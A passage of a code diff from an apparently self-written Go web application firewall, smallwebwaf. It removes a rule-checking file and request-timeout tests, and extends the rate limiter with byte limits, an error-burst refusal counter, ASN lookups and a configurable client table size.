-		t.Stop()
-	}
-}

internal/proxy/rules.go

@@ -1,40 +0,0 @@
-package proxy
-
-import (
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-	"sneak.berlin/go/smallwebwaf/internal/rules"
-)
-
-// checkRules checks the request against the rules of the rule files at
-// now, notes the ids of those it matches in the log line, and returns the
-// action of the rule that refuses it, ActionRuleBlocked for a block rule
-// and ActionBanned for a ban rule, or "" when none does. In enforce mode
-// a ban rule bans the client's netblock for a clear sign of attack.
-func (rq *request) checkRules(now time.Time) string {
-	matched := rq.h.rules.Match(rq.in)
-
-	for _, rule := range matched {
-		rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
-		rq.h.metrics.RuleMatched(rule.ID, rule.Action)
-	}
-
-	if len(matched) == 0 {
-		return ""
-	}
-
-	// Only the last rule matched can refuse the request.
-	switch last := matched[len(matched)-1]; last.Action {
-	case rules.ActionBlock:
-		return requestlog.ActionRuleBlocked
-	case rules.ActionBan:
-		if !rq.h.config.Observe {
-			rq.banForAttack(now, last)
-		}
-
-		return requestlog.ActionBanned
-	default:
-		return ""
-	}
-}

internal/proxy/timeouts_test.go

@@ -1,307 +0,0 @@
-package proxy_test
-
-import (
-	"errors"
-	"io"
-	"net"
-	"net/http"
-	"net/http/httptest"
-	"strconv"
-	"sync"
-	"sync/atomic"
-	"testing"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-// largeBodySize is more than the connections between the client,
-// smallwebwaf and the app can hold while nobody reads, so that a sender
-// soon waits.
-const largeBodySize = 64 << 20
-
-// writeSize is how much a test sender writes at a time.
-const writeSize = 32 << 10
-
-func TestRequestTimeouts(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name string
-		// limit is the setting set to shortTimeout, which runs out; long
-		// is one set to longTimeoutSetting, which does not, or "".
-		limit, long string
-		// appTakesNothing has the app never read, while the client sends
-		// as fast as it can; otherwise the app reads, and the client
-		// stops sending halfway.
-		appTakesNothing bool
-		want            int
-	}{
-		{
-			name:  "client request timeout, waiting on the client",
-			limit: clientRequestTimeout,
-			want:  http.StatusRequestTimeout,
-		},
-		{
-			name:  "upstream request timeout, waiting on the client",
-			limit: upstreamRequestTimeout,
-			long:  clientRequestTimeout,
-			want:  http.StatusRequestTimeout,
-		},
-		{
-			name:            "upstream request timeout, waiting on the app",
-			limit:           upstreamRequestTimeout,
-			appTakesNothing: true,
-			want:            http.StatusGatewayTimeout,
-		},
-		{
-			name:            "client request timeout, waiting on the app",
-			limit:           clientRequestTimeout,
-			long:            upstreamRequestTimeout,
-			appTakesNothing: true,
-			want:            http.StatusGatewayTimeout,
-		},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			var (
-				app         *httptest.Server
-				appURL      string
-				sendRequest func(*testing.T, string) net.Conn
-				appGotBody  atomic.Bool
-			)
-
-			if tc.appTakesNothing {
-				appURL, sendRequest = startAppThatTakesNothing(t), sendLargeBody
-			} else {
-				app = startApp(t, func(_ http.ResponseWriter, r *http.Request) {
-					n, _ := io.Copy(io.Discard, r.Body)
-					appGotBody.Store(n > 0)
-				})
-				appURL, sendRequest = app.URL, sendPartOfBody
-			}
-
-			env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token}
-			if tc.long != "" {
-				env[tc.long] = longTimeoutSetting
-			}
-
-			addr, out := startProxy(t, appURL, env)
-			start := time.Now()
-			got := readResponse(t, sendRequest(t, addr))
-			wantTimedOut(t, start)
-
-			want := tc.want
-
-			if app != nil {
-				// Close returns once the app has finished with the request.
-				app.Close()
-
-				// Until some of the body has reached the app, smallwebwaf
-				// waits on the app, and SPEC.md asks for 504; the timeout
-				// runs out then only if the test process is held up.
-				if !appGotBody.Load() {
-					want = http.StatusGatewayTimeout
-				}
-			}
-
-			wantStatus(t, got, want)
-			wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut)
-			wantLimitHits(t, addr, tc.limit, 1)
-		})
-	}
-}
-
-// startAppThatTakesNothing starts an app that accepts connections and
-// never reads from them, and returns its URL.
-func startAppThatTakesNothing(t *testing.T) string {
-	t.Helper()
-
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-	if err != nil {
-		t.Fatalf("listen: %v", err)
-	}
-
-	var (
-		mu   sync.Mutex
-		held []net.Conn
-	)
-
-	hold := func(conn net.Conn) {
-		mu.Lock()
-		defer mu.Unlock()
-
-		held = append(held, conn)
-	}
-
-	go func() {
-		for {
-			conn, err := listener.Accept()
-			if err != nil {
-				return
-			}
-
-			hold(conn)
-		}
-	}()
-
-	t.Cleanup(func() {
-		_ = listener.Close()
-
-		mu.Lock()
-		defer mu.Unlock()
-
-		for _, conn := range held {
-			_ = conn.Close()
-		}
-	})
-
-	return "http://" + listener.Addr().String()
-}
-
-// sendPartOfBody sends a request that announces a large body, and only
-// the first bytes of it.
-func sendPartOfBody(t *testing.T, addr string) net.Conn {
-	t.Helper()
-
-	conn := dial(t, addr)
-	send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+
-		strconv.Itoa(largeBodySize)+"\r\n\r\nthe first bytes")
-
-	return conn
-}
-
-// sendLargeBody sends a request with a large body, as fast as smallwebwaf
-// takes it, from a goroutine of its own.
-func sendLargeBody(t *testing.T, addr string) net.Conn {
-	t.Helper()
-
-	conn := dial(t, addr)
-	send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+
-		strconv.Itoa(largeBodySize)+"\r\n\r\n")
-
-	go func() {
-		chunk := make([]byte, writeSize)
-		for range largeBodySize / writeSize {
-			_, err := conn.Write(chunk)
-			if err != nil {
-				return
-			}
-		}
-	}()
-
-	return conn
-}
-
-func TestAppTooSlowToAnswer(t *testing.T) {
-	t.Parallel()
-
-	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
-		<-r.Context().Done()
-	})
-	addr, out := startProxy(t, app.URL, map[string]string{
-		upstreamResponseTimeout: shortTimeoutSetting,
-		metricsToken:            token,
-	})
-
-	start := time.Now()
-
-	wantStatus(t, get(t, addr, "/slow"), http.StatusGatewayTimeout)
-	wantTimedOut(t, start)
-
-	line := out.requestLine(t)
-	wantLine(t, line, http.StatusGatewayTimeout, requestlog.ActionTimedOut)
-
-	_, answered := line.fields["upstream_status"]
-	if answered {
-		t.Errorf("log line has upstream_status %v for an app that never answered",
-			line.fields["upstream_status"])
-	}
-
-	wantLimitHits(t, addr, upstreamResponseTimeout, 1)
-}
-
-func TestAppTooSlowToFinishItsAnswer(t *testing.T) {
-	t.Parallel()
-
-	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-		_, _ = io.WriteString(w, "the first part")
-		_ = http.NewResponseController(w).Flush()
-
-		<-r.Context().Done()
-	})
-	addr, out := startProxy(t, app.URL, map[string]string{
-		upstreamResponseTimeout: shortTimeoutSetting,
-	})
-
-	start := time.Now()
-	got := get(t, addr, "/slow")
-	wantStatus(t, got, http.StatusOK)
-
-	if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) {
-		t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err)
-	}
-
-	wantTimedOut(t, start)
-
-	line := out.requestLine(t)
-	wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut)
-
-	if line.UpstreamStatus != http.StatusOK {
-		t.Errorf("log line has upstream_status %d, want %d",
-			line.UpstreamStatus, http.StatusOK)
-	}
-}
-
-func TestClientTooSlowToTakeTheAnswer(t *testing.T) {
-	t.Parallel()
-
-	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
-		chunk := make([]byte, writeSize)
-		for range largeBodySize / writeSize {
-			_, err := w.Write(chunk)
-			if err != nil {
-				return
-			}
-		}
-	})
-	addr, out := startProxy(t, app.URL, map[string]string{
-		clientResponseTimeout: shortTimeoutSetting,
-		metricsToken:          token,
-	})
-
-	start := time.Now()
-
-	// The client asks, and never reads the answer.
-	conn := dial(t, addr)
-	send(t, conn, "GET /large HTTP/1.1\r\nHost: app\r\n\r\n")
-
-	line := out.requestLine(t)
-	wantTimedOut(t, start)
-	wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut)
-	wantLimitHits(t, addr, clientResponseTimeout, 1)
-}
-
-func TestClosesAnIdleConnection(t *testing.T) {
-	t.Parallel()
-
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
-	addr, _ := startProxy(t, app.URL, map[string]string{
-		clientIdleTimeout: shortTimeoutSetting,
-	})
-
-	// The idle time starts once the answer is sent, so after start.
-	start := time.Now()
-	conn := dial(t, addr)
-	send(t, conn, "GET / HTTP/1.1\r\nHost: app\r\n\r\n")
-	wantStatus(t, readResponse(t, conn), http.StatusOK)
-
-	// The read deadline readResponse set still bounds this read.
-	_, err := conn.Read(make([]byte, 1))
-	if !errors.Is(err, io.EOF) {
-		t.Fatalf("read on the idle connection: %v, want it closed", err)
-	}
-
-	wantTimedOut(t, start)
-}

internal/ratelimit/history_test.go

@@ -11,20 +11,20 @@ import (
 func TestHistoryKeepsEveryRequest(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{})
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
 	for i, r := range []ratelimit.Request{
-		{Country: "DE", Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100},
+		{Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100},
 		{Forwarded: true, Status: 101},
 		{Forwarded: true, Status: 304, RequestBytes: 5},
-		{Country: "FR", Refused: true, Status: 403, ResponseBytes: 10, BrokeLimit: true},
+		{Refused: true, Status: 403, ResponseBytes: 10, BrokeLimit: true},
 		{Forwarded: true, Status: 502, ResponseBytes: 12},
 		// Closed without an answer: refused, and no response.
 		{Refused: true, Status: 0},
-		// Answered 404 at smallwebwaf's own endpoints: neither forwarded
-		// nor refused.
+		// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor
+		// refused.
 		{Status: 404},
 	} {
 		limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
@@ -33,8 +33,6 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 	want := ratelimit.History{
 		FirstSeen:     start,
 		LastSeen:      start.Add(6 * time.Minute),
-		Country:       "FR",
-		LookedUp:      start.Add(3 * time.Minute),
 		Requests:      7,
 		Forwarded:     4,
 		Refused:       2,
@@ -52,10 +50,47 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 	}
 }
 
+func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	other := netip.MustParsePrefix("198.51.100.7/32")
+	start := midnight()
+
+	limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
+	limiter.AddLookup(client, start, "AS64496", "Example Net", "DE")
+
+	// A later answer replaces it, and one for a client the table does not
+	// hold adds no client.
+	limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
+	limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
+
+	want := ratelimit.History{
+		FirstSeen: start,
+		LastSeen:  start,
+		ASN:       "AS64497",
+		ASName:    "Other Net",
+		Country:   "FR",
+		LookedUp:  start.Add(time.Hour),
+		Requests:  1,
+		Forwarded: 1,
+	}
+
+	got := historyOf(t, limiter, client)
+	if got != want {
+		t.Errorf("history\n%+v\nwant\n%+v", got, want)
+	}
+
+	if clients := limiter.Snapshot(); len(clients) != 1 {
+		t.Errorf("the table holds %+v, want %s alone", clients, client)
+	}
+}
+
 func TestResetKeepsTheHistory(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -74,7 +109,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
 func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{})
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 
 	for client, requests := range map[string]int{
 		"198.51.100.9/32":  2,

internal/ratelimit/ratelimit.go

@@ -1,9 +1,10 @@
 // Package ratelimit keeps the table of clients: each client's requests
-// counted over a minute, an hour and a day, as the "Counting method"
-// section of SPEC.md describes, which tell when a request takes the client
-// over a rate limit, and each client's history since it was first seen.
-// At most 20,000 clients are kept, in memory, and written to clients.json
-// and read from it by the state package.
+// and bytes counted over a minute, an hour and a day, as the "Counting
+// method" section of SPEC.md describes, which tell when a request takes
+// the client over a rate limit or a byte limit, and each client's history
+// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
+// kept, in memory, and written to clients.json and read from it by the
+// state package.
 package ratelimit
 
 import (
@@ -16,26 +17,35 @@ import (
 	"github.com/hashicorp/golang-lru/v2/simplelru"
 )
 
-// maxClients is how many clients are kept. Past it, the least recently
-// seen client is dropped, with its history, and starts afresh if it comes
-// back.
-const maxClients = 20000
-
 const day = 24 * time.Hour
 
+// The kinds of limits, as the metrics name them.
+const (
+	// KindRequests is a rate limit, on a client's requests.
+	KindRequests = "requests"
+	// KindBytes is a byte limit, on a client's bytes.
+	KindBytes = "bytes"
+	// KindRefusals is the error burst, on a client's requests smallwebwaf
+	// refused after a rule file match or for a missing or wrong token.
+	KindRefusals = "refusals"
+)
+
 // Limits are the most requests a client may make in a minute, an hour and
-// a day. Zero is no limit.
+// a day, and the most bytes. Zero is no limit.
 type Limits struct {
 	PerMinute      int64
 	PerHour        int64
 	PerDay         int64
+	BytesPerMinute int64
+	BytesPerHour   int64
+	BytesPerDay    int64
 }
 
-// Limiter counts each client's requests against the limits, and keeps
-// its history. It is safe for concurrent use.
+// Limiter counts each client's requests and bytes against the limits, and
+// keeps its history. It is safe for concurrent use.
 type Limiter struct {
 	// windows are the minute, the hour and the day, in the order of
-	// Client.buckets.
+	// Client.buckets and Client.byteBuckets.
 	windows [3]window
 
 	mu      sync.Mutex
@@ -43,17 +53,25 @@ type Limiter struct {
 }
 
 // Client is a client in the table, as clients.json holds it: its buckets
-// in each window, and its history.
+// of requests and of bytes in each window, its buckets of refusals in the
+// minute, which the error burst counts, and its history.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
 type Client struct {
 	Client         netip.Prefix `json:"client"`
 	Minute         Buckets      `json:"minute"`
 	Hour           Buckets      `json:"hour"`
 	Day            Buckets      `json:"day"`
+	MinuteBytes    Buckets      `json:"minute_bytes"`
+	HourBytes      Buckets      `json:"hour_bytes"`
+	DayBytes       Buckets      `json:"day_bytes"`
+	MinuteRefusals Buckets      `json:"minute_refusals"`
 	History        History      `json:"history"`
 }
 
-// Buckets are a client's two buckets in one window: the requests in the
-// bucket under way, which began at Start, and in the bucket before it.
+// Buckets are a client's two buckets in one window: the requests, or the
+// bytes, in the bucket under way, which began at Start, and in the bucket
+// before it.
 type Buckets struct {
 	Start    time.Time `json:"start"`
 	Current  int64     `json:"current"`
@@ -66,14 +84,17 @@ type Buckets struct {
 type History struct {
 	FirstSeen time.Time `json:"first_seen"`
 	LastSeen  time.Time `json:"last_seen"`
-	// Country is the client's country as it was last looked up, and
-	// LookedUp when that was; both are empty while it never was.
+	// ASN, ASName and Country are the client's AS number, AS name and
+	// country as last looked up, each empty when the lookup could not
+	// find it, and LookedUp is when the lookup gave that answer; all are
+	// empty while the client never was looked up.
+	ASN      string    `json:"asn,omitempty"`
+	ASName   string    `json:"as_name,omitempty"`
 	Country  string    `json:"country,omitempty"`
 	LookedUp time.Time `json:"looked_up,omitzero"`
-	// Requests are all the client's requests: Forwarded those passed to
-	// the app, Refused those refused before anything reached it, a 401 at
-	// smallwebwaf's own endpoints included, and neither the others
-	// smallwebwaf answered there.
+	// Requests are all the client's requests: Forwarded those servewaf allowed,
+	// Refused those it refused, and neither those for a path under
+	// /_smallwebwaf/.
 	Requests  int64 `json:"requests"`
 	Forwarded int64 `json:"forwarded"`
 	Refused   int64 `json:"refused"`
@@ -96,19 +117,26 @@ type Responses struct {
 }
 
 // Offences are a client's offences, by kind.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
 type Offences struct {
-	// Limit is its requests that broke a rate limit.
+	// Limit is its requests that broke a rate limit, a byte limit or the
+	// error burst, Attack those that were a clear sign of attack, a match
+	// of a ban rule or a request for a trap path, RuleBlocked those a block
+	// rule refused, and WAFBlocked those the Core Rule Set refused.
 	Limit       int64 `json:"limit"`
+	Attack      int64 `json:"attack"`
+	RuleBlocked int64 `json:"rule_blocked"`
+	WAFBlocked  int64 `json:"waf_blocked"`
+	// TokenRefused is what a clients.json written by an earlier version gives,
+	// which must still load. Nothing adds to it.
+	TokenRefused int64 `json:"token_refused,omitempty"`
 }
 
 // Request is what a client's history keeps of one of its requests.
 type Request struct {
-	// Country is the client's country, when the request looked it up.
-	Country string
-	// Forwarded is true for a request passed to the app, Refused for one
-	// refused before anything reached it, a 401 at smallwebwaf's own
-	// endpoints included. Both are false for any other request smallwebwaf
-	// answered there.
+	// Forwarded is true for a request servewaf allowed, and Refused for one it
+	// refused. Both are false for a request for a path under /_smallwebwaf/.
 	Forwarded bool
 	Refused   bool
 	// Status is what the client was sent, 0 if nothing was.
@@ -117,12 +145,21 @@ type Request struct {
 	// and of its response.
 	RequestBytes  int64
 	ResponseBytes int64
-	// BrokeLimit is true for a request that broke a rate limit.
+	// BrokeLimit is true for a request that broke a rate limit, a byte
+	// limit or the error burst, Attack for one that matched a ban rule or
+	// asked for a trap path, RuleBlocked for one a block rule refused, and
+	// WAFBlocked for one the Core Rule Set refused.
 	BrokeLimit  bool
+	Attack      bool
+	RuleBlocked bool
+	WAFBlocked  bool
 }
 
-// New returns a Limiter for limits, with no client counted yet.
-func New(limits Limits) *Limiter {
+// New returns a Limiter for limits, with no client counted yet, whose
+// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
+// it, the least recently seen client is dropped, with its history, and
+// starts afresh if it comes back.
+func New(limits Limits, maxClients int) *Limiter {
 	clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
@@ -130,62 +167,116 @@ func New(limits Limits) *Limiter {
 
 	return &Limiter{
 		windows: [3]window{
-			{name: "minute", length: time.Minute, limit: limits.PerMinute},
-			{name: "hour", length: time.Hour, limit: limits.PerHour},
-			{name: "day", length: day, limit: limits.PerDay},
+			{
+				name: "minute", length: time.Minute,
+				limit: limits.PerMinute, byteLimit: limits.BytesPerMinute,
+			},
+			{
+				name: "hour", length: time.Hour,
+				limit: limits.PerHour, byteLimit: limits.BytesPerHour,
+			},
+			{
+				name: "day", length: day,
+				limit: limits.PerDay, byteLimit: limits.BytesPerDay,
+			},
 		},
 		clients: clients,
 	}
 }
 
-// Hit is a request that takes a client over a rate limit.
+// Hit is a request that takes a client over a rate limit or the error
+// burst, or whose bytes take it over a byte limit.
 type Hit struct {
+	// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
+	// KindRefusals for the error burst.
+	Kind string
 	// Window is "minute", "hour" or "day".
 	Window string
-	// Limit is the window's limit.
+	// Limit is the window's limit, as the client's percentage of it.
 	Limit int64
-	// Requests is the client's requests counted in the window, this one
-	// included.
-	Requests float64
+	// Count is the client's requests, bytes or refusals counted in the
+	// window, this request's included.
+	Count float64
 }
 
-// Counts are a client's requests in the minute, the hour and the day that
-// end at a request, that request included.
+// Counts are a client's requests and bytes in the minute, the hour and
+// the day that end at a request, that request's included.
+//
+//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
 type Counts struct {
 	Minute      float64 `json:"minute"`
 	Hour        float64 `json:"hour"`
 	Day         float64 `json:"day"`
+	MinuteBytes float64 `json:"minute_bytes"`
+	HourBytes   float64 `json:"hour_bytes"`
+	DayBytes    float64 `json:"day_bytes"`
 }
 
 // Count counts a request from client at now, in every window, whether or
-// not it is refused, and returns the client's requests in each window. It
-// reports whether the request takes the client over a limit, and the
-// window whose limit it goes over, the shortest if it is over several.
-func (l *Limiter) Count(client netip.Prefix, now time.Time) (Counts, Hit, bool) {
+// not it is refused, and returns the client's counts in each window. It
+// reports whether the request takes the client over a rate limit, of
+// which the client gets the percentage percent, rounded down, and the hit:
+// the window whose limit it goes over, the shortest if it is over
+// several. A limit that is off stays off.
+func (l *Limiter) Count(
+	client netip.Prefix, now time.Time, percent int64,
+) (Counts, Hit, bool) {
+	return l.count(client, now, 1, 0, percent)
+}
+
+// OverARateLimit reports whether one more request from client at now would
+// take it over a whole rate limit. A client's percentage can only lower a
+// limit, so that request is over the limit at any percentage. It counts
+// nothing, and does not make the client the most recently seen.
+func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
-	var (
-		requests [3]float64
-		hit      Hit
-	)
+	c, seen := l.clients.Peek(client)
+	if !seen {
+		return false
+	}
 
-	for i, b := range l.get(client).buckets() {
-		w := l.windows[i]
+	buckets := c.buckets()
 
-		requests[i] = b.add(now, w.length)
-		if hit.Window == "" && w.limit > 0 && requests[i] > float64(w.limit) {
-			hit = Hit{Window: w.name, Limit: w.limit, Requests: requests[i]}
+	for i, w := range l.windows {
+		if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
+			return true
 		}
 	}
 
-	counts := Counts{Minute: requests[0], Hour: requests[1], Day: requests[2]}
-
-	return counts, hit, hit.Window != ""
+	return false
 }
 
-// Reset sets client's counts in every window back to zero. Its history
-// keeps its totals.
+// CountBytes counts bytes, those of a request from client that has ended,
+// at now, in every window, and returns the client's counts in each window.
+// It reports whether the bytes take the client over a byte limit, of which
+// the client gets the percentage percent, and the hit, as Count does.
+func (l *Limiter) CountBytes(
+	client netip.Prefix, now time.Time, bytes, percent int64,
+) (Counts, Hit, bool) {
+	return l.count(client, now, 0, bytes, percent)
+}
+
+// CountRefusal counts a request from client at now that smallwebwaf
+// refused after a rule file or Core Rule Set match or for a missing or
+// wrong token, and reports whether the client's refusals in the minute
+// that ends at now, this one included, are more than threshold, which
+// breaks the error burst, and the hit.
+func (l *Limiter) CountRefusal(
+	client netip.Prefix, now time.Time, threshold int64,
+) (Hit, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
+	hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
+
+	return hit, count > float64(threshold)
+}
+
+// Reset sets client's counts of requests, of bytes and of refusals in
+// every window back to zero. Its history keeps its totals.
 func (l *Limiter) Reset(client netip.Prefix) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
@@ -193,6 +284,8 @@ func (l *Limiter) Reset(client netip.Prefix) {
 	c, seen := l.clients.Peek(client)
 	if seen {
 		c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
+		c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
+		c.MinuteRefusals = Buckets{}
 	}
 }
 
@@ -209,11 +302,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
 
 	h.LastSeen = now
 
-	if r.Country != "" {
-		h.Country = r.Country
-		h.LookedUp = now
-	}
-
 	h.Requests++
 	if r.Forwarded {
 		h.Forwarded++
@@ -230,6 +318,37 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
 	if r.BrokeLimit {
 		h.Offences.Limit++
 	}
+
+	if r.Attack {
+		h.Offences.Attack++
+	}
+
+	if r.RuleBlocked {
+		h.Offences.RuleBlocked++
+	}
+
+	if r.WAFBlocked {
+		h.Offences.WAFBlocked++
+	}
+}
+
+// AddLookup gives client's history its AS number, AS name and country, as
+// the lookup gave them at lookedUp, if the table of clients holds the
+// client.
+// It does not make the client the most recently seen.
+func (l *Limiter) AddLookup(
+	client netip.Prefix, lookedUp time.Time, asn, asName, country string,
+) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c, held := l.clients.Peek(client)
+	if !held {
+		return
+	}
+
+	h := &c.History
+	h.ASN, h.ASName, h.Country, h.LookedUp = asn, asName, country, lookedUp
 }
 
 // Requests returns how many requests the clients inside netblock have
@@ -312,19 +431,67 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
 	l.clients.Purge()
 
 	for _, c := range clients {
-		for i, b := range c.buckets() {
-			// The window that ends at now covers neither bucket once it
-			// begins after the bucket under way has ended.
-			length := l.windows[i].length
-			if !now.Add(-length).Before(b.Start.Add(length)) {
+		for i, w := range l.windows {
+			for _, b := range []*Buckets{c.buckets()[i], c.byteBuckets()[i]} {
+				if b.Passed(now, w.length) {
 					*b = Buckets{}
 				}
 			}
+		}
+
+		if c.MinuteRefusals.Passed(now, time.Minute) {
+			c.MinuteRefusals = Buckets{}
+		}
 
 		l.clients.Add(c.Client, &c)
 	}
 }
 
+// count adds requests and bytes from client at now to its buckets in
+// every window, and returns its counts. A limit is broken only by what is
+// added to it, so that a request whose bytes are counted after another of
+// the client's requests broke a rate limit does not break it too. The
+// client gets the percentage percent of each limit.
+func (l *Limiter) count(
+	client netip.Prefix, now time.Time, requests, bytes, percent int64,
+) (Counts, Hit, bool) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	c := l.get(client)
+	requestBuckets, byteBuckets := c.buckets(), c.byteBuckets()
+
+	var (
+		requestCounts, byteCounts [3]float64
+		hit                       Hit
+	)
+
+	for i, w := range l.windows {
+		requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
+		byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
+		limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
+
+		switch {
+		case hit.Window != "":
+		case requests > 0 && w.limit > 0 && requestCounts[i] > float64(limit):
+			hit = Hit{
+				Kind: KindRequests, Window: w.name, Limit: limit, Count: requestCounts[i],
+			}
+		case bytes > 0 && w.byteLimit > 0 && byteCounts[i] > float64(byteLimit):
+			hit = Hit{
+				Kind: KindBytes, Window: w.name, Limit: byteLimit, Count: byteCounts[i],
+			}
+		}
+	}
+
+	counts := Counts{
+		Minute: requestCounts[0], Hour: requestCounts[1], Day: requestCounts[2],
+		MinuteBytes: byteCounts[0], HourBytes: byteCounts[1], DayBytes: byteCounts[2],
+	}
+
+	return counts, hit, hit.Window != ""
+}
+
 // get returns client's entry in the table, a new one if it has none, and
 // makes it the most recently seen.
 func (l *Limiter) get(client netip.Prefix) *Client {
@@ -337,30 +504,48 @@ func (l *Limiter) get(client netip.Prefix) *Client {
 	return c
 }
 
-// buckets returns c's buckets in the minute, the hour and the day.
+// buckets returns c's buckets of requests in the minute, the hour and the
+// day.
 func (c *Client) buckets() [3]*Buckets {
 	return [3]*Buckets{&c.Minute, &c.Hour, &c.Day}
 }
 
-// window is a length of time over which requests are counted, and the
-// most requests a client may make in it.
+// byteBuckets returns c's buckets of bytes in the minute, the hour and the
+// day.
+func (c *Client) byteBuckets() [3]*Buckets {
+	return [3]*Buckets{&c.MinuteBytes, &c.HourBytes, &c.DayBytes}
+}
+
+// window is a length of time over which requests and bytes are counted,
+// and the most requests and the most bytes a client may have in it.
 type window struct {
 	name      string
 	length    time.Duration
 	limit     int64
+	byteLimit int64
 }
 
-// add counts a request at now in a window of length, and returns the
-// client's requests in the window that ends at now: those in the bucket
-// under way, and those in the bucket before it weighted by how much of
-// that bucket the window still covers.
+// percentOf returns the percentage percent of limit, rounded down. It is
+// written as limit's hundreds times percent, plus the rest's share, since
+// limit*percent can overflow for a byte limit.
+func percentOf(limit, percent int64) int64 {
+	const hundred = 100
+
+	return limit/hundred*percent + limit%hundred*percent/hundred
+}
+
+// Add counts n requests, or n bytes, at now in a window of length, and
+// returns the count in the window that ends at now: what is in the bucket
+// under way, and what is in the bucket before it weighted by how much of
+// that bucket the window still covers. With n zero it counts nothing, and
+// returns the count. The anomaly counters count in Buckets too.
 //
 // Concurrent requests can be counted out of order, so now can be a moment
 // before the bucket under way began; such a request is counted in that
 // bucket. A request dated more than a second before it means the clock
 // was set back, and the buckets start afresh: otherwise the bucket before
 // would keep its full weight until the clock caught up.
-func (b *Buckets) add(now time.Time, length time.Duration) float64 {
+func (b *Buckets) Add(now time.Time, length time.Duration, n int64) float64 {
 	if now.Before(b.Start.Add(-time.Second)) {
 		*b = Buckets{}
 	}
@@ -377,7 +562,7 @@ func (b *Buckets) add(now time.Time, length time.Duration) float64 {
 		b.Current = 0
 	}
 
-	b.Current++
+	b.Current += n
 
 	elapsed := max(now.Sub(b.Start), 0)
 	covered := 1 - float64(elapsed)/float64(length)
@@ -385,6 +570,14 @@ func (b *Buckets) add(now time.Time, length time.Duration) float64 {
 	return float64(b.Previous)*covered + float64(b.Current)
 }
 
+// Passed reports whether the window of length that ends at now covers
+// neither of b's buckets: it begins after the bucket under way has ended.
+// What they hold then counts no more, and a state file read at now drops
+// it.
+func (b *Buckets) Passed(now time.Time, length time.Duration) bool {
+	return !now.Add(-length).Before(b.Start.Add(length))
+}
+
 // add counts a response with status in its class. A status of 0, for
 // nothing sent, is not a response.
 func (r *Responses) add(status int) {

internal/ratelimit/ratelimit_test.go

@@ -1,6 +1,7 @@
 package ratelimit_test
 
 import (
+	"math"
 	"net/netip"
 	"testing"
 	"time"
@@ -11,12 +12,64 @@ import (
 // limit is the limit the tests set.
 const limit = 3
 
+// tableSize is the most clients the tests' tables hold, the default of
+// SWWAF_MAX_TRACKED_CLIENTS.
